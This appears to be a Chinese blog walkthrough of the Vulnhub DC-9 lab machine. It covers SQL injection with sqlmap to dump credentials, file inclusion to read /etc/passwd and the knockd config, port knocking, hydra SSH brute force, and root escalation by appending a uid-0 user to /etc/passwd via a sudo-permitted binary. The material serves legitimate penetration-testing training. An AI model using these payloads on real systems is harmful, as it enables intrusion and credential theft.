Vulnhub靶机:DC-9渗透详细过程(DC系列完结)

前情提要

靶场地址:https://www.vulnhub.com/entry/dc-9,412/,DC-9是一个中级的靶场,需要具备以下前置知识:

  • 基础的Linux命令及操作
  • 基础的渗透测试工具使用(Kali / Parrot下的工具)

二珂说:DC系列的九个靶机就到此结束啦!!!后期会继续更新其他系列的靶机wp~感谢支持

信息收集

nmap -A -sV -p- -T4 192.168.132.156

image-20220325175311325

目前发现只开放80端口,去web页面搜索一下

有一处后台登陆、一处搜索处

在搜索处1' or 1=1#页面返回正常,1' or 1=2#报错,BP抓包发现是POST

输出文件:sql进入kali一把梭

SQLMAP

sqlmap -r sql --dbs --dump
sqlmap -r sql -D users -T UserDetails -C id,username,password --dump

image-20220325180021069

image-20220325180059234

将admin的密码在线MD5解密

密码:transorbital1

image-20220325180156446

文件包含

发现可能存在文件包含

通过文件包含FUZZ测试得

http://192.168.132.156/addrecord.php?file=../../../../etc/passwd

看起来不是特别高危的东西,然后我们去构造字典爆破SSH

将sqlmap跑出来的user、password分别放俩个文件

image-20220325180628816

想到之前扫端口的时候,22端口未被扫出来

  • 可能被隐藏了

    百度得知这里靶机使用了Knockd进行防护,22端口被隐藏了起来

    我们只要通过顺序敲击端口,防火墙才会打开被隐藏端口

原理简单分析:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

于是可以继续用我们刚刚发现的文件包含漏洞去看看怎么敲击端口,尝试Knockd配置文件的默认路径/etc/knockd.conf,在../../../../etc/knockd.conf找到了配置文件:

image-20220325180958157

apt install knock
knock 192.168.132.156 7469 8475 9842

SSH爆破

然后ssh爆破

hydra -L user.txt -P pass.txt 192.168.132.156 ssh

image-20220325181209586

爆破出来有3个用户可用,其中有个管理员用户,我们选用这个janitor用户登录

ssh janitor@192.168.132.156
ls -al

经过cd目录遍历后发现只有.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是其他用户的密码,然后把这些密码再加进刚刚我们编写的字典中重新再爆破一次看看:

image-20220325181423493

再次ssh爆破

这次扫描出现一个新用户

image-20220325181456843

提权

查看该用户能用sudo执行哪些命令

sudo -l

image-20220325181616221

读取该文件发现是一堆乱码,运行一下

cat /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test
sudo ./test

image-20220325181804919

find / -name "test.py" 2>/dev/null
cat /opt/devstuff/test.py
#!/usr/bin/python
import sys
# 参数个数需要为3个(一个是运行文件)
if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
else :
    # 对第一个文件进行读操作
    f = open(sys.argv[1], "r")
    output = (f.read())
	# 对第二个文件进行写(追加)操作,将读出的文件内容写到这个文件中
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

这一段代码应该就是test文件的原状,也就是说,我们可以拥有root权限去对文件进行读写操作。这就好办了,参考之前的做法:

往/etc/passwd 写入一个root权限用户,密码为123456

image-20220325182020466

了解一下/etc/passwd内容格式:

root:x:0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码,也可以直接填入密码的密文。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test
cat /tmp/test
su test
cd root/
ls
cat theflag.txt

image-20220325182329242系列最大参考:
水水水的博客


版权声明:本文为weixin_45996361原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。